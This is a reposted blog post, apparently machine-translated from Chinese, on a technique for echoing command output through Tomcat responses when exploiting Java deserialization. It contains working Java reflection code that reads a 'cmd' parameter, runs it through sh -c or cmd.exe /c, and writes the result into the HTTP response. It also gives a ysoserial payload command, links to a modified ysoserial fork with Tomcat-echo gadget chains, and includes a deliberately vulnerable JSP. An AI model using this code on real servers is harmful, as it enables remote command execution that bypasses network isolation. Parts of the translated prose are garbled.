A semi general echo method in Tomcat


Some time ago, I learned a wave of ideas about the way of deserialization echo based on file descriptors under Linux.

In the process of its own implementation, it is found that the file descriptors of the current thread (or request) are filtered through IP and port number filtering, and then the echo content is added.

But at the same time, there is also a question. At present, we use echo mainly because of the filtering of some ports and the isolation of some internal and external networks. Thus, some execution results that cannot be transmitted from other ways can be attached to the original response through http request, thus bypassing some protections and restrictions.

In my opinion, in this case, there will be some load balancing in front of the real server, so that the ip and port displayed in the server will be LB information, and this filtering method will fail.

At that time, the idea was that if you can get the response variable of the current request directly, you can write it directly. But I'm not very familiar with tomcat. I won't be able to use a simple version of Spring.

Recently, I saw a master send the echo mode of this Linux file descriptor in the community. The comments also proposed that it would be better if the response could be obtained directly. So I began to try to find out how to obtain the response variable of tomcat.

https://xz.aliyun.com/t/7307

Search process

This is a spring boot. Try to inject a response into the Controller first

To ensure that the response object we get is really the response of tomcat, we go down the stack.

It can be found that request and response are almost passed together, and they are all the same variables in memory (the last number of the variable toString is the partial hash of the current variable)


In this way, there is no problem, as long as we can get the response instance of any class in these stacks.

The next step is to find out where the response variable can be obtained by us. Compared with egg ache, each function is the response and request passed by the way of parameter passing.

In this case, have the request and response been recorded in this process? For the sake of generality, we should only look for the code of tomcat part, and we don't need to look at the code related to spring.

And the recorded variable should not be a global variable, but a ThreadLocal, so as to obtain the request information of the current thread. And it's better to be a static static variable, otherwise we need to get the instance of that variable.

According to this idea, just in the org.apache.catalina.core.ApplicationFilterChain class, a variable that meets the requirements is found.

What's more, just before we deal with our Controller logic, there are actions to record request and response.

Although the if condition is false, it doesn't matter. We have reflections.

In this way, the overall idea is probably

1. Reflect and modify applicationdispatcher.wrap'save'object to let the code logic go into the if condition

2. Initialize lastServicedRequest and lastServicedResponse, which are null by default

3. Get the current request response from lastServicedResponse and echo the content.

In the process of writing, I also learned how to modify a private final variable through reflection, and stepped on some pits to put the final code directly

Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

ThreadLocal<ServletResponse> lastServicedResponse =
    (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
    ? lastServicedRequest.get().getParameter("cmd")
    : null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
    lastServicedRequestField.set(null, new ThreadLocal<>());
    lastServicedResponseField.set(null, new ThreadLocal<>());
    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
    ServletResponse responseFacade = lastServicedResponse.get();
    responseFacade.getWriter();
    java.io.Writer w = responseFacade.getWriter();
    Field responseField = ResponseFacade.class.getDeclaredField("response");
    responseField.setAccessible(true);
    Response response = (Response) responseField.get(responseFacade);
    Field usingWriter = Response.class.getDeclaredField("usingWriter");
    usingWriter.setAccessible(true);
    usingWriter.set((Object) response, Boolean.FALSE);

    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
        isLinux = false;
    }
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\\a");
    String output = s.hasNext() ? s.next() : "";
    w.write(output);
    w.flush();
}

The logic of the original contoller code is to output the content of the input part. What we have done is to add the cmd parameter before the original output content and execute the result.

The reason why we need to refresh twice is that the first time we just modify the value through reflection, so that our request will be cache d in the later run, and thus we can get the response.

Join ysoserial

In this way, you can put it into ysoserial with a little modification, erasing the generic part and replacing the original class name with a complete class name.

I stepped on some pits in the middle. The troublesome master can use the modified version directly.
https://github.com/kingkaki/ysoserial

The second parameter of ysoserial is the command to be executed. Since it can be obtained directly from request, the degree of freedom is greater, so I changed the second parameter to param of the command to be executed.

Taking CommonsCollections2 as an example, the following way is equivalent to creating a payload to get the command to be executed from the cmd parameter.

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2TomcatEcho cmd

Test other tomcat environments, take jsp as an example, and make sure there is a dependency of Commons collection S4

Then build a deserialization environment by yourself

<%
try {
	String input = request.getParameter("input");
	byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(input);
    java.io.ObjectInputStream ois = new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(b));
    ois.readObject();
} catch (Exception e) {
    e.printStackTrace();
}
%>

You can see that the content is successfully appended to the output body.

Some limitations

Back to the title, why is it a semi generic approach?

At that time, after the construction, we ran a wave of shiro deserialization in a hurry, which was not successful. After debug ging for a long time, we found a problem.

The remamberme function of shiro is actually a filter implemented by shiro itself

In the internalDoFilter of org.apache.catalina.core.ApplicationFilterChain (omit some useless code)

if (pos < n) {
    ApplicationFilterConfig filterConfig = filters[pos++];
    try {
        Filter filter = filterConfig.getFilter();
		...
         filter.doFilter(request, response, this);
    } catch (...)
        ...
    }
    return;
}

// We fell off the end of the chain -- call the servlet instance
try {
    if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
        lastServicedRequest.set(request);
        lastServicedResponse.set(response);
    }

    if (request.isAsyncSupported() && !servletSupportsAsync) {
        request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
                             Boolean.FALSE);
    }
    // Use potentially wrapped request from this point
    if (...){
        ...
    } else {
        servlet.service(request, response);
    }
} catch (...) {
    ...
} finally {
    ...
}

It can be seen that all the filter s are taken out first to intercept the current request, then cache request is carried out, and then the logic code of jsp is entered from servlet.service(request, response).

The remomberme function is a module of ShiroFilter. In this way, the code executed in this part of logic has not yet entered the cache request operation. At this time, the cache content is empty, so we can not get the response we want.

Last

All the chains in ysoserial that generate payload s with createtemplates impl have been added to the Tomcat echo mode.

https://github.com/kingkaki/ysoserial

  • CommonsCollections2TomcatEcho
    *CommonsCollections3TomcatEcho
    *CommonsCollections4TomcatEcho
    The feeling is not limited to deserialization. Some scenarios with java code execution implement Tomcat echo in this way.

One of the more painful points is that some of the code executed in the filter is not applicable, which may not be applicable to many framework type vulnerabilities, but it should be applicable to the scenarios in the Controller written by any developer.

Technology comparison dishes, if a master found a better way to use, or some of the omissions in the article, can be discussed together.

It's all self-organized! I will contribute the information to those in need! By the way, ask for a wave of attention. We are serious in our study, and it is necessary to take the offer of a large factory. Want to know about the java Communication Group

[java Communication Group ](want to know more about it)

Original link: https://www.tuicool.com/articles/ymAnErB

Published 69 original articles, won praise 4, visited 5372
Private letter follow

Tags: Java Tomcat Spring Apache

Posted on Tue, 10 Mar 2020 04:22:43 -0400 by methyl_blue